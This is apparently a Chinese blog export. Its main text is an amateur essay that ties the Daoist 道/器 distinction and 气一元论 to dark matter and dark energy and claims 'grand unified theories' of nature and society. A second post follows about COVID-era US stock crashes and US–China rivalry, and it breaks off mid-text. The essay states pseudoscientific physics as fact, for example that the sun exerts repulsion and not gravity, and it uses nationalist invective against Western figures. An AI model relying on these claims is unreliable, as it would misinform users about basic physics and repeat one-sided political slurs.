化现象。(二)“形而上学”与“形而下学”不应互相否定“形而上学”概念在我们中国也被称为“玄学”,其源出于《老子》的【玄之又玄,众妙之门”】,我国古代的《老子》、《庄子》、《周易》被称为“三玄”,其涵盖着我国古代的主要理论与学术思想。但后人这样概括是不够全面的,因其突出了“道”而忽略了“器”,容易跑偏,所以还是应该遵循“形而上者谓之道,形而下者谓之器”阐释的《道器之学》予以理解较为妥帖,这样才能全面反映我国古代的科学理论与学术思想。通过“形而上与形而下”之阐释,它便将中西方对“形而上学”概念理解与阐释的不同突出出来了,我们中华语境中的“形而上学”指的是“气(能量)”的存在和运动,而西方的“形而上学”则指的是“上帝”或“概念”的指手画脚,所以,中西方的“形而上学”概念存在着本质的区别。根据中国的《道器之学》原理,显然“形而上学”居于“形而下学”之上,它属于“形而下学”的基础(即基础理论)。经考察证实,“形而上学”的确属于研究“存在与认知”的一门综合性很强的学问,它更能体现出我们本土理论的特色,对研究《大统一理论》也更具有提纲挈领的作用。按照我国《道器之学》的原理,“道与器”应该分别类同于现代的“能量运动(本质学)”与“物质运动(现象学)”,其典型代表就属于我国古代的《气一元论》与西方现代的《物理学》。根据现代科学反映,“能量运动(本质学)”与“物质运动(现象学)”都属于客观存在,它们分别属于“形而上与形而下”两个不同的层面,不能以“形而上学”否定“形而下学”,更不能以“形而下学”否定“形而上学”,只有它们两者相互结合才能够全面而正确地认知并反映自然。然而多年来,由于我国学术理论界深受西方哲学的“唯物(质)论”所影响,早已将“形而上学”批倒批臭了,而在这里,我们不去从西方哲学角度谈论其是与非,而是根据近现代科学发展所反映的基本事实,搞清楚它究竟是否属于一种客观存在。(三)通过事实说话大家知道,随着近现代科学的发展,科学界产生了《宇宙大爆炸理论》,根据科学探测所证实,宇宙中共存在着三种基本组分:1)暗能量68%,2)暗物质27%,3)(有形或可见)物质4-5%,这些数据基本得到了科学界的公认。在以上三大宇宙组分中,只有4-5%的物质(有科学家认为其只占1-2%)是有形并可探测的,其它两种(暗能量和暗物质)是不可见并探测不到的,这也属于目前科学界所不得不予以认可的一种基本事实(下面会继续追究)。根据以上所述事实,再回顾一下我国学术理论界曾跟着西方哲学起舞批判“形而上学”的严重后果,原来是“城门失火殃及池鱼”,它把我们本土理论中的“形而上学”概念也给连累了,由此进一步连累并阻碍着对我国《易经》、《道德经》和《气一元论》等的深入研究,将我国这一优势学科给打入了死牢,为此,我们不得不为这一重大历史错案查清真相,还历史与事实一个公道。运用事实说话,这是理论研究的基本原则。而宇宙大爆炸所反映基本事实的历史作用已充分展现出来了,它将西方理论炸得粉碎,其“神学、哲学与科学”三足鼎立的理论体系和其它的歪理邪说都被统统送进了坟墓。通过正视近现代科学发展的基本事实,我们古老的“形而上学”理论便能够得以平反昭雪,并在消化吸收近现代科学成果基础上进一步获取足够的滋养,从而使我们这一传统优势学科得以满血复活。由此,我们古老的中华文明便在经历近现代历史的磨难后,在其复活与新生中也得到了历史的丰厚馈赠,拥有了既相互联系又相互独立并且完全配套的两大理论体系,即:宇宙《大统一理论》和人类《大统一理论》(马克思主义本土化产物),它们不但会为我国重新建立理论话语权并增强文化软实力,而且会在科学大革命与人类文明进步中发挥引领和促进作用。二、宇宙的基本轮廓与理论审核严格来讲,科学理论就是对自然的基本认知,其主要反映其筋骨问题,而这种认知的不同,则反映着文明与文化性质的不同,所以,理论也就属于文明与文化的高度凝练和概括。正因为如此,也就更需要深入探究理论问题。虽然我国目前理论研究的重点集中于社会科学,但它是以自然科学为基础的,所以对宇宙学的研究属于其一项基础性课题,并且这也属于近现代世界科学界的一大热门学科。人类对于宇宙的认知从来就没有停歇,随着科学的发展,近现代由爱因斯坦带头又掀起了一轮研究宇宙《大统一理论》新的热潮。根据近现代科学所反映的基本事实,人类在探索中又有一些新的发现,从而将对宇宙的认知推进到了一个崭新的阶段。下面对宇宙基本轮廓的重新认知和理论的重新审核,实质上也是为我们传统的“形而上学”理论平反昭雪的一个过程。(一)宇宙的基本轮廓根据上面所述宇宙探索中所反映的基本事实和科学界所给出的数据,便反映出了宇宙存在和运动的一个基本轮廓:1、“形而上与形而下”的区分属于客观事实。95%以上的宇宙组分属于“无形并不可见”的一种客观存在,而其只有4-5%的物质才属于“有形并可见”的,由此就证实了宇宙的基本组分的确存在着“形而上与形而下”之分。注意:这里的“形而上”指的是无形的那种客观实在,其并非虚无,更不属于西方那种漂浮于客观实在之上的概念或上帝,这属于中西方两种“形而上学”概念的本质区别。2、暗物质与暗能量的本质应该相同。根据“暗能量(百度百科)”词条介绍中所说,【新的一项研究发现,一部分暗物质正在消失,而导致他们消失的原因则是暗能量】,反映出暗物质一直在向暗能量不断转化,说明它们两者的本质事实上都属于能量,只是其密度不同而已,其属于高密度能量在向低密度转化或“稀释”。实质上,暗物质与暗能量一直在共同推动着宇宙向外膨胀,宇宙时空(即“天”)就是由它们两者所共同推动而从无到有并由小变大的杰作。这里便反映出一个严肃的根本性问题,目前科学界基本都属于物质观思维,一直在探索“暗物质粒子”和“引力子”的存在,但也一直都劳而无功,因为事实已经证明,暗物质与暗能量属于一种无形的存在,它并不是有形的,不可能探测到它“有形”的存在形式。所以,沉浸于物质观思维之中,其既属于一种思维错误,也属于科研中一种战略导向性错误。对此,那些西学者们都不愿承认,因其意味着他们所一直尊奉的那座理论大厦的坍塌。3、暗物质与暗能量诞生于物质之先。既然搞清了“形而上与形而下”存在的区别,那就需要搞清楚它们两者诞生的先后次序问题。根据大爆炸理论探索中所反映的基本事实,暗物质与暗能量诞生于物质之先,而物质诞生于它们两者之后,并且受它们两者所左右,这也属于一个基本的事实,由此也就否定了西方那种“唯物(质)论”。所以在理论探究中,一定要将马恩的“唯物论”与西方哲学的“唯物论”区别开来,不可以将它们混为一谈。(二)宇宙学理论的基本轮廓根据以上所反映的基本事实,它也勾勒出了宇宙学理论的基本轮廓,解决了其理论大厦构建所需的“地基”或“支柱”问题:1、宇宙学“地基”的确定。所谓的宇宙学“地基”,指的就是我们所称的“宇宙观”或宇宙的本质问题,由它来确定宇宙学理论大厦究竟是要建立在什么“地基”上的问题。这是个带有根本性的问题,我们的先祖将我国的宇宙学建立在了“气(能量)”基础上,而西方的先祖则将它们的宇宙学建立在了“上帝”基础上,由此便产生了中西方两种不同的文明与文化,并世世代代延续至今。根据大爆炸理论所反映宇宙诞生、存在和运动的基本事实,基本可以证实我们的先祖为宇宙学建立的“选址”是正确的,宇宙的本质既不属于“上帝”,也不属于“物质”,而是大爆炸“能量”,并经受住了历史的严格检验。大爆炸只能是能量的爆炸,没有能量便不可能发生爆炸,也不可能发生运动,所以,大爆炸事实的本身也在说明着宇宙的本质属于能量。对于宇宙学“地基”的追究,其意义并不仅限于此,它也涉及社会科学“地基”的追究,其所运用的方式方法是统一的,通过它才能夯实恩格斯的人类起源论,并根除西方“上帝造人”那种异端邪说,所以它也属于中国特色社会科学研究的基本功。我们中国有句俗话:“上梁不正下梁歪”,在这里所说理论的“地基”就相当于我们俗话中所说的“上梁”,这种“地基”或“上梁”歪了,整座建筑或理论体系就都是歪的。2、宇宙学理论构建两根支柱的确立。通过暗物质向暗能量不断转化的基本事实,它们两者属于一对矛盾,由它们推动着宇宙在不断膨胀,而宇宙的这种膨胀属于宇宙的绝对运动,由此,暗物质与暗能量的矛盾运动便属于宇宙的基本矛盾运动。而宇宙基本矛盾的确定相当于为宇宙学理论大厦的建立立起了两根关键性支柱,这也属于对宇宙基本的认识论。3、宇宙学理论大厦存在着“形而上与形而下”两层基本结构。既然暗物质与暗能量都属于“形而上”的客观实在,那么宇宙的基本矛盾运动自然也就处于“形而上”状态之中,它是无形的,与有形或可探测的物质运动便形成了“形而上与形而下”两层的基本结构。4、“形而上与形而下”属于理论研究的基本内容。既然宇宙的存在和运动存在着“形而上与形而下”之分,那么我们的理论研究也就必须要反映这种客观事实,它已经为我们的理论研究勾勒出了基本的轮廓,否则便属于“盲人瞎马”或“唯心论”。根据以上追究可以看出,我国古代的“阴阳五行”或《道器之学》理论属于一种《大统一理论》体系,其基本架构非常合理并完整,科学性很强,所以,探究科学理论需要以我们的本土理论和近现代科学所反映的基本事实为主,这是其基本的出路所在。通过以上追究反映出,我们的中华理论属于以阐释“形而上学”为主,而阐释“形而下学”为辅的系统论,而西方的科学理论则属于“形而下学”。虽然西方的神学和哲学也属于“形而上学”,但它与我们的“形而上学”却存在着本质的不同,因为西方从没有搞懂过宇宙的本质,其神学和哲学属于滥竽充数的那种学问(没有它填补空位不行,但它又不能发挥任何作用,其属于一种人为吹起来的气泡而已),由此它们的科学理论事实上也就只剩下了“形而下”之现象学。由于以上事实对“形而上学”与“形而下学”问题阐释得非常真实而清楚,所以它为我们借此追究中西方理论体系所存在的问题并对其进行深入研究提供了基本的依据。(三)爱因斯坦研究“统一场论”缘何失败?近现代有关《大统一理论》的探索是由爱因斯坦挑头搞起来的,但其研究《统一场论》40年,耗尽了大半生心血也没能取得成功,而是以失败而告终。客观地讲,他既是位科学家,又是位理论家;既是位幸运的理论家,又是位悲情的理论家;既证实了“质能转换”理论,又没能跳出物质观;既促进了《宇宙大爆炸理论》的诞生,又没能及时调整自己的宇宙学理论,因为他并没能意识到《宇宙大爆炸理论》的诞生会使人类对宇宙的认知跨入一个崭新的时代,它将为人类文明开辟一片新天地。爱因斯坦对于自己探索“统一场论”失败的原因,恐怕他自己也一直没能搞明白,而根据以上探究,通过我们的中华理论就能将其失败的原因梳理得清清楚楚。1、没能解决“形而上与形而下”和基本矛盾运动问题。大家知道,关于宇宙的绝对运动,爱因斯坦始终没能搞清楚,最终仍然将上帝理解为宇宙的“第一推动力(绝对运动)”。作为西方科学的巨匠和佼佼者,爱因斯坦的研究能够代表西方科学和理论研究的真实深度,通过其研究受阻情况说明,西方科学始终没能真正解决宇宙的本质或宇宙观问题,其科学最前沿都没能从宗教神学中摆脱出来,仍然与其存在着根深蒂固的关联。由于西方科学没能解决绝对运动问题,说明其没能解决宇宙的基本矛盾运动,所以前文说“其基本矛盾之根就深深扎在了宗教神学的土壤之中”,其根本问题就发生在“形而上学”之中。2、其思维存在着三大顽疾。实事求是地讲,爱因斯坦探究“万有引力”问题,这属于物质科学将要突破的前夜(其视野在从物质内部向外延伸),但由于其深受物质观所束缚,仍没能迈出那可贵的一步,就连“万有引力”所形成的原因都没能搞清楚,致使其在“统一场论”面前败下阵来。大家都熟悉爱因斯坦的一句名言:【哲学可以被认为是全部科学之母】,说明其思维不但被宗教神学所束缚,而且也被哲学所束缚,这两条证据都很能说明其思维的局限范围。爱因斯坦的“统一场论”是要统一物理学所反映的“四种作用力”,但这“四种作用力”都是由物质发出的,它与宇宙基本矛盾所反映的绝对运动都浅着一个层次,然而爱因斯坦并没有意识到这一点,反而将宇宙膨胀的斥力与由天体(物质)所发出的“万有引力”作为一对矛盾强行进行研究,形成了“拉郎配”或“乱点鸳鸯谱”的现象。通过以上证据都有力地说明,爱因斯坦的思维存在着三大顽疾:1)有神论,2)哲学,3)物质观,其深陷于这三大“泥潭”之中使他很难挣脱并自拔。而这三大“泥潭”也正是西方文明发展的桎梏,它不止是禁锢着爱因斯坦的思维,而且也禁锢着整个西方科学的向前发展,正如前文所述:【1)其神学反映“本质”,2)哲学反映“规律”,3)而科学则反映“现象”,并且“本质、规律与现象”在暗中仍然联系为一个整体,其神学与哲学属于“形而上学”,而其科学则属于“形而下学”。】西方这种既离心离德又血肉相连的“形而上学与形而下学”理论体系,怎能立起宇宙学两根关键性支柱?怎能产生通古知今的基本矛盾并将其捏合为一个整体?怎能不既相互联系又相互否定?怎能统合为《大统一理论》?3、物理学“四种作用力”也值得质疑。自己虽然才疏学浅,但运用我们的“阴阳”思维对宇宙的存在和运动进行考察,认识到宇宙向外膨胀的斥力本身就与其自身所隐蔽着的引力联系在一起,否则宇宙就会一直存在着毫无约束的暴涨,其斥力和引力这一对矛盾与作用力和反作用力的道理是一致的。这也就是说,根据宇宙存在与运动的实际,爱因斯坦研究“统一场论”的格局还是有些小器了。在膨胀的宇宙背景下,会发现“万有引力”实质属于各天体存在并发出的一种势能,它并不是一成不变的,大天体向外辐射能量,而小天体则因为自身能量较弱而吸收能量,由此同一个天体,其相对于较大的天体会发出引力,而相对于较小的天体则会发出斥力。同时也会发现其“质量越大引力越大”定理与事实不符,比如我们的太阳每天都在向外辐射能量,其在太阳系中发出的属于一种斥力,并非引力(其引力是由其各行星发出的),因为“引力是吸力”,否则便与太阳向外辐射能量相矛盾。同时,也会发现地球与月球的斥力与引力问题以及质子与电子的电性都存在着令人质疑的矛盾。所以,将宇宙膨胀的斥力与引力作为物理学“四种作用力”的运动背景,会出现一些颠覆性的科学认知问题(这些问题留待以后再谈)。由此,若不将暗物质与暗能量的运动替代宗教神学和哲学这两种“形而上学”理论,并将其与物质运动一起进行研究,不但难以统一物理学的“四种作用力”,更难以研究出“统一场论”或“大统一理论”。三、“形而上学”再次叩响《大统一理论》的门扉在前面之所以先列出宇宙的三大组分(暗能量、暗物质与物质),就是要运用事实说话,由它来审视我们的理论问题,这样可以直截了当,由此而省去引经据典并“之乎者也”那种麻烦,同时也为审理并整合中西方科学理论提供了事实依据。(一)中西方自然科学与理论相结合的基本理路关于中西方科学与理论怎样结合的问题,其实我国古代《周易·系辞上》中那句“形而上者谓之道,形而下者谓之器”已经解释得非常清楚,首先需要将其“道与器”的区别与相互关系搞清楚。而运用我们中国的“形而上与形而下”或“道与器”的相互区别与联系再去审视中西方理论,会给我们带来更大的便利,不但会将它们区分得更加清楚,而且会为它们的相互结合提供基本的理论框架。通过前文和以上探讨已经充分证明,我们中国古代科学理论属于本质论,其阐释以“道”为主,而以“器”为辅,如《易经》、《气一元论》、儒学等的主体内容基本都体现着这一特色,而西方科学理论则属于现象学,即中华语境中之“器”,将其在我们中华理论体系中摆正了其相应的位置,然后使它们各安其位便是了。相比较而言,我们中华医药学所奉行的《气一元论》是较为完整的,它属于中华系统论一个很好的载体,其不但贯通着宇宙学,还贯通着生物学(生命科学)和社会科学,属于我们中华文明伟大复兴的一个有力抓手,同时也有利于发动我国中医药学的集体力量进行攻关。在中医药学理论架构中,其既包括基础理论又包括应用理论,同时在应用理论中还包括“形而上与形而下”的关系问题,所以我们就以中西方医药学理论为例,通过一个表格将其科学理论的不同与相通之处列出来供大家参考。表1中西方(医药学)理论概况对照表宇宙观(形而上)基本矛盾(形而上)特殊矛盾(形而上+形而下)中(医药)学气(本质为能量)阴气与阳气(正负能)阴阳+五行运动多种病症(器)西(医药)学上帝(本质为神)哲学(抽象出规律)科学(现象学,即“器”)特注:1)这样,中医药可以补充大量的病例供分类所用,而西医一些病因可形成“形而上”特殊矛盾与五行相结合。至于体内的能量运动如何“归经”的问题,自己没有深入学习并研究到那一步,需要中医药专业人士继续予以解决,这对他们来说并非难事。同时应注意,“中(医药)学”中没有那种抽象“哲学规律”的存在,而是“形而上”之“矛盾”运动,其本身已经包含着规律。2)中西医学的相互结合,是根据“形而上与形而下”对其现有状况所做出的一种思考,随着能量科学和微生物学等的不断发展,它还会发生一些必要的调整与变化。3)中西方自然科学的相融相通问题,基本与医学同理,对“医药学”加括号意在于此。4)通过列表和近现代科学所反映的基本事实看得很清楚,西方科学和医学的问题恰恰在于其“形而上学”层面存在着严重错误,它们的根子仍然隶属于其宗教神学,其如不改弦更张实行彻底的革命,那将永无出路。根据列表能够看出,虽然理论属于文明与文化的高度凝练和概括,但其中的那颗明珠则属于宇宙观,它属于理论核心中的核心,内核中的内核,西方的“神学、哲学与科学”难以统一并难以形成“大统一理论”的关键就在于其没能找到其基础理论中这颗明珠或内核,其科学理论界至今都没能摆脱宗教神学束缚的根本原因正在于此,由此可看出宇宙观这一问题的重要性。通过列表也反映出,我们传统理论中有关“器”的部分不如西方科学充实,需要对其予以消化吸收并补充完善。如果它们两者能够结合得好,便会呈现出:器在道中,道也在器中,从而达到毛泽东所说“共性寓于个性之中”那种境界。这属于我们中华本质学与西方现象学(道与器)在目前阶段怎样结合的一种思路,由此也可以为那些研究“中华之道”的人士做些参考。如有不同意见,我们可以相互交流共同提高。(二)中西方社会科学与理论相结合的基本理路事实上,目前科学界与哲学界都在“形而上学(即暗物质与暗能量)”领域寻找出路,我们本土理论研究的出路更是聚焦于此。上面说过,宇宙观属于自然科学理论的核心,而在社会科学领域,其核心中的核心与内核中的内核便属于人类的基本属性,即人性或人类观,它属于社会科学理论体系的“地基”或“上梁”。只要真实并正确地解决了这一问题,西方社会科学中的“神学、哲学与科学”自然也就能够与我们中华理论一样统合在一起,从而形成社会科学“大统一理论”或系统论。1、中西方社会科学理论对照表。由于自然科学与社会科学理论的基本架构和思维以及“形而上与形而下”原理相通,所以我们直接通过表格对其说明如下,这样既简洁又直观,会省却那种繁琐论证。表2中西方社会科学理论对照表人类观(形而上)基本矛盾(形而上)特殊矛盾(形而上+形而下)中国社会科学劳动造人(性质)人性与动物性(劳动与寄生)基本矛盾+特殊矛盾运动多种现象(器)西方社会科学上帝造人(性质)人性=动物性(丛林法则)社会科学(现象学,即“器”)特注:1)“中国社会科学”实质就是由中华本根论顺序思维和儒道释人文科学的“形而上学”原理,结合马恩人类起源论和“唯物史观”而生成的理论体系,它们互为基础,相互取长补短,并相互补充完善。而“阶级斗争”学说则属于“特殊矛盾”范畴。2)“中国社会科学”中事实上已包含“西方社会科学”,它在基本矛盾中属于以“动物性(寄生)”意识形态为主的那一根脉,并且无“哲学规律”可循,更无基本与特殊矛盾之分,而是遵循“丛林法则”,一锅乱炖。通过这一对照表,不但将中西方社会科学理论的本质区别梳理清楚了,也更加将我们的中华社会科学系统论梳理清楚了,其事实上也属于社会科学的一种《大统一理论》。这不是我们自我膨胀,而是事实,那些西学派如果不服气,我们可以展开公开辩论。看看美国那位国务卿蓬佩奥在新冠肺炎疫情中的表现,他的思想有什么章法吗?他有过什么“人心眼儿”吗?其意识形态不活脱脱体现着“动物性(寄生)”吗?他们所谓的“民主自由人权(普世价值观)”能掩盖得了其“动物性”本质吗?事实充分说明,美国一些政要的一系列表现就属于西方文化最生动的诠释。2、表格内容补充说明。我们传统的社会科学属于世俗的人文科学,其创建2000多年来一直长盛不衰,直到现在依然深受我们国人所推崇,其本身就说明其主题内容属于上面所说中国的“形而上学”范畴,也就是说它(模模糊糊地)抓住了人类社会的基本矛盾。由于其它各国都或多或少地崇信宗教神学,所以也就都存在着世俗人文科学这一理论空当,由此我们的人文科学事实上属于世界人文科学中一家独门老店,其在世界文明史上显得殊为珍贵。庆幸的是,马克思主义也属于世俗科学,其唯物史观和恩格斯的人类起源论,由我国的顺序运动逻辑予以整编后,它们三者结合便构成了崭新的人类进化论,这也属于世界文明宝库中殊为珍贵的一大至宝。然而,我国的人文科学与马恩学说仍然各自有所欠缺,前者缺失改造自然进行劳动生产的经济学内容,而后者则在人文科学方面显得内容有些薄弱(“阶级”说不属于“形而上”之本质学),只有将它们两者结合在一起才能互相补充完善,使其成为一门即包括人文科学又包括经济学的社会科学系统论。而在这个社会科学系统论中,它既包含着“形而上”的基本矛盾运动,也包含着“形而下”的特殊矛盾运动,其事实上就属于社会科学《大统一理论》,也就是我党目前正组织攻关的《哲学社会科学》(个人认为它们同义)。这种社会科学《大统一理论》的基本原理,如同我们的中医药学一样,主谈“形而上”之“人性(劳动)与动物性(寄生)”,其中的“人性与动物性”属于人文科学基本矛盾,而“劳动(性)与寄生(性)”则属于经济学基本矛盾(流通属于“特殊矛盾”范畴),它们两者又可以互为联系并相互贯通。记得在前面哪篇文稿中曾说过,“纵也阴阳,横也阴阳”,其原理是一样的,即便在对特殊矛盾的阐述中,它也谈的是各种社会现象相互之间“人性(劳动)与动物性(寄生)”的矛盾运动,在其基础上才能将各种“形而下”的具体运动现象联系并直观地反映出来。通过这一介绍就基本能够将中西方社会科学相融相通的途径问题说清楚了,其虽然看起来有些繁琐,但只要掌握了其基本的方式方法,运用起来会非常地得心应手,老百姓都能够运用自如,比如看到某种社会行为,人们便会很自觉地将其分别归类于“人性(劳动)与动物性(寄生)”,一些模糊空间或“灰色地带”也会明确起来,大家会很自觉地维护社会的公平正义,并鞭挞邪恶。就拿一些贪腐现象来讲,有些人可能会自以为那是其个人的一种本事,但只要掌握了社会科学系统论的思维方式,人们便会很自然地将这种现象归类于“动物性(寄生)”,从而使得其在模糊空间或“灰色地带”中也无所遁形。四、理论探索小结通过一系列探索,最终总算与我们古老文明中“形而上者谓之道,形而下者谓之器”那句经典的理论阐释有些对上头了,由此需要将它们对接起来,这样更便于那些探讨中华文化的人士予以参考,也有利于大家增强我们的文化自信,所以也需要在此对前文中一系列探索做个小结。(一)我国理论研究曾经的泥泞近现代以来,我们的中华民族命途多舛,饱受欺辱。在世界文明舞台上,由于“妖魔鬼怪舞翩跹”,我们的中华文明与文化也一直低声下气,不敢大声。自新中国建立以来,中华民族实现了“从站起来、富起来到强起来的历史性飞跃”,我国无论在政治、经济、军事和科技等领域都取得了长足发展,唯独文化还属于一块很大的短板有待补齐。而文化短板与我们本土理论研究存在着直接的关系,原因如下:1、本土理论研究在泥泞中跋涉。总体来讲,虽然理论能够指导实践,但它是建立在科学发展基础上的,而由于我们没能将近现代科学发展及时地补充进我们的理论体系中来,其基本处于停步不前的状态,从而使我们的文化也难以产生根本性的发展。通过回顾历史可以看出,我国传统理论的构建就是以对自然的观察与系统分析综合为基本依据的,代表着古人对宇宙自然的基本认知,其既存在着合理成分,也存在着非合理成分,精华与糟粕交织,组成了一个非常稳固的“阴阳五行(八卦)”理论体系。一个理论体系一旦成型,后人便很难更改,再加上许多高人雅士为其著书立说,便使其固化下来,从而形成相应的文明与文化,并形成历史的惯性。大家不要笑话西方难以摆脱宗教神学的束缚,任何社会对宇宙自然的基本认知一旦定型,要是没有硬核的新证据出现,其都会沿着历史的惯性向前滑行,我国对“阴阳五行(八卦)”的崇奉依然如此。我们中华文明和理论的亮点在于“形而上”或“道”,近现代科学的发展已基本证实了它的正确性。然而正是由于这种特别耀眼的亮色,我国一些文人雅士便侧重于这一点将其发展成了“玄学”,从而忽视了对“形而下”或“器”应用科学的研究与发展,致使后来的科学技术发展出现了滞后。从宏观方面讲,我们传统理论对“道与器”或“形而上与形而下”的基本划分是合理的,但将“形而下”或“器”以“五行(八卦)”予以阐释则是非合理的(有些人将其搞成占卜算命在此就不列举了),根据近现代科学的发展,我们应该承认这个事实。所以,我们的理论研究在坚持我们传统理论合理成分基础上,应该加强对西方物质科学的消化吸收并将其融合进我们中华文明体系中来,这属于目前理论研究的一个基本课题。然而纵观我国近现代以来的理论研究,则完全抛弃了我们传统理论的基本框架,而转向了西方理论范式,将西方理论基本框架(神学、哲学与科学)和概念作为自己的“弥勒佛”供奉起来进行研究,将我们的中国故事(甚至历史)运用西学来阐述,这样最终无论如何也跳不出其“手掌心”,难以摆脱西学的阴影,从而难以形成我们自己的特色理论和话语体系,这也属于一种基本的事实。在理论和文化研究方面,十八大以来一直在努力扭转方向,我们党从政治高度推行中国特色研究,并取得了显著的成效,基本将那股强劲的西风给压下去了,我们的国学又重新兴盛了起来。然而理论探索在传统与现代之间,其转变属于一项系统工程,具有一定的难度,所以在探索中可能一下难以达到上层的要求,很难一步到位,由此在上面的“表1”中并没有对“五行”过多地说三道四,而是根据中医药学历史的惯性和目前人类健康的急需,先这样在应用中顺势而为,等以后科学发展条件成熟后再行调整。这属于我们民科的观点,可能专业领域由于知识储备充足,也许他们能够跨出更大的步伐,从而实现大步跨越。2、西风强劲。不管愿意承认与否,近现代以来由于西方科技发达,在文化方面也西风劲吹,这属于一个基本的事实。所以我国也曾出现西风气候属于一种客观现象,应历史地看待这一问题。近现代由于西风强劲,在我国内部对西学也出现“跪惯了”的一族,它们习惯于尊奉西学照本宣科“之乎者也”,并且高声大嗓,充斥文化空间,导致我们的优秀传统文化难以翻身,并将其导向了西方化的邪路。幸亏中共早已意识到了这一点,从十八大以来一直在强调文化自信问题,扭转了我国文化向西方滑行的趋势,并组织我们对中国特色本土理论进行研究,使我们的国学研究又重新热了起来。在高层的力推下,我们东方理论和文化的“风暴眼”目前也正在渐渐形成之中,“东风与西风”正在展开一场真正的较量。(二)本土理论研究的尝试通过以上我国文化软实力有所疲软的两种原因,反映出问题仍然主要出在我们内部,明显与我们本土理论挖掘不深和研究不足存在着很大的关系。我们的中华文明和理论是个伟大的宝库,其蕴藏着无数的珍宝,到目前为止,曾尝试着对其从多个角度进行了深入挖掘,从中挖掘出了本根论(宇宙观)能量运动原理、数学原理、经纬学(纲与目)或纵横运动原理、“0→历史→现在”或四维运动时空、顺序运动逻辑与思维、基本矛盾与绝对运动等,本文又进一步证实了其形而上学与形而下学原理,将我们的本土理论体系和思维进一步明确了出来,并将近现代科学消化吸收了进来,从而在原有基础上形成了科学界所翘首以盼的那种宇宙系统论或《大统一理论》。而运用我们的本土理论体系和思维考察并深挖马克思主义原理,并集众家之长,摒众家之短,从而形成了我们中国特色、中国风格、中国气派的人类进化论或社会科学系统论,并使其与我国的人文科学相结合,挖掘出了人类观、人类社会的基本矛盾和绝对运动,以及人类社会的两种意识形态等,不但将其与西方理论和思维划清了界限,也推动马克思主义原理进一步本土化,使其与我们的中华文明、文化和理论融为一体。自然科学与社会科学既是统一的,又是相互独立的,它们分别存在着(宇宙)自然科学系统论与社会科学系统论,而在这两大系统论中存在着两颗明珠:1)宇宙观(能量),2)人类观(劳动),前者早已存在于我国的古老理论之中,从而由《易经》和《道德经》等发展为《气一元论》,而后者则是由马恩所摘取,但由其形成系统论则是由我们的中华理论与思维所为,从而由我国培育发展使其成长为我们的特色社会主义理论。由此我们可以毫不谦虚地讲,这两大系统论或两个《大统一理论》都属于我们中华文明所有,都属于我们中国特色社会主义理论系列,为此我们应该具有高度的文化自信与自豪。由于自己没能接受过系统教育培训,才疏学浅,在学习、考察与挖掘的过程中,有些概念是前后矛盾的,比如“哲学”,自己开始也没有意识到它与我们的中华理论和思维相矛盾的问题(也有些碍于其披着一层靓丽的外衣而怯于深究),随着学习与考察的深入以及与一些学者的深入探讨,经反复思考与证实,才发觉它们之间的深刻矛盾,所以自己在后面的文稿中也在不断地矫正原来的一些认识错误,尽力消除由其所造成的一些不良影响。在此再次声明一下,在学习与探索中所取得的一些进展,属于在中共的文化自信和中华文明伟大复兴引领下,自己与众网友共同努力所取得的结果。尤其是草根网那些网友,在许多网文和网络讨论中互相交流,有攻有守(包括他们相互之间的一些讨论),使自己从中汲取了许多营养,更使得有些议题步步深入,将理论中的一些模糊问题逐渐明确了出来。比如本文中的两个表格,就是在与某网友探讨哲学问题过程中想到了“形而上学”概念,继而又想到了中西方这一概念的不同,并想起了我国那句“形而上者谓之道,形而下者谓之器”。我们先人这句话概括得太经典了,由它阐释(宇宙)自然与社会科学两大系统论令人茅塞顿开,不但通过“形而上学”将中西方理论根脉梳理得清清楚楚,而且还根据其“道与器”的关系将它们两者怎样相互结合的问题给出了更加明确的方式方法,既简洁又明快,能够使人一目了然。总体来讲,自己与众网友的探索虽然有些乱,并且有些地方反反复复,但基本是围绕着我们本土理论的深入挖掘而向前不断运动的,它对构建我们特色社会主义理论体系应该是有益的。若将其与我们的文化自信和中华文明伟大复兴联系起来,多多少少会为其增加点热量,为整个人类文明的发展进步也会产生些微的助推作用。对于本文的一些观点,希望能继续得到众网友的指点与帮助,如有不妥之处,更希望大家能够给予批评指正。 +版权所有,欢迎转摘,转摘请注明作者和出处! + + +生化危机引来“三战”,出疫苗方可让其对我服 +http://www.caogen.com/blog/Infor_detail.aspx?ID=654&articleId=110265 +未分类 +www.caogen.com +Fri, 03 Apr 2020 03:25:02 GMT +最近几天,回国的高价机票和惊人的国际客流入境,美股8天时间内连连熔断三次是震惊世界的大热点,也是国内外两个大主题。而这两大主线就串联出了一系列的故事出来,这些就让我们看到了人间世态炎凉和温暖,也让我们看到中国和西方世界冰火两重天的景色。一边是全球视已经走出疫情的中国为安全岛,大家拼命的进来,这也就让中国形成了全球资金、人才的大吸盘;另一边就是处危险的欧美人向外逃亡,同时华尔街等上演资本夺命而逃的景象。上周,本以为是黑色星期一,没想到是黑色一星期!一周两次股市熔断,以至于把美联储吓的一下子就把利率调到0利率并推出7000亿美元的QE,可这也没能止住资本夺命而逃景象,反而导致了再次黑色星期一出来,美国股市有史以来的三连断就这样被创造出来了。大家还担心今后仍有熔断,这次危机已经超越了08年那次,甚至80年前的大萧条都难以和它比拟了,因为现在的网络、传媒传导的恐慌就让相关的践踏和雪崩效应要比以前强上10倍。因此,现在的我们看到,美联储0利率的利好反而演变成为:先是股指期货暴跌,接下来是美股飞流直下3000点,直接熔断。3月16日大跌后,有段子就这样说:3月8日,巴菲特:我活了89岁,只见过一次美股熔断。3月9日,巴菲特:我活了89岁,只见过两次美股熔断。3月12日,巴菲特:我活了89岁,只见过三次美股熔断。3月16日,巴菲特:我太年轻了……2019年,美股牛死了!2020年美股牛死了!这种架势真的是比大萧条还要可怕,还创造历史,大家也都成为这次历史的见证者。而特朗普之前曾经说过,股市下跌1000点,要把美国大统领装在炮弹中射向太阳。是,想想都好笑,之前他们当我们这里最不安全,当我们是东亚病夫,现在就连特朗普自己也承认美国经济可能走向衰退;全球公认中国交的这个答卷是最好的,全球的资金和高端人士正在恐慌地向中国涌来,这就和发达的欧美的现状形成了鲜明的对比。但我们也要认真的思考,这种情形能长久吗?前段时间,在我们最危难时躲在瘟神背后趁我病,要我命的那个恶魔绝对接受不了这样一个结果的,因为这样下去,用不了多久,它就和经历311的日本一样了。这也是为什么特朗普昨天会对我污名化,直接把病毒说成是中国病毒的深层次因素,而这让大家想起了西班牙大流感。100多年前的那场流感让全世界至少死了5000万,那时,世界总人口才17亿。欧洲人刚到美洲大陆,他们带去的天花和鼠疫就让美洲大陆的人差一点种族灭亡,100多年前,美洲大陆的病毒就对欧洲人还了过去,同时也让西班牙人背负了恶名。确实,历史竟然有这么惊人的相似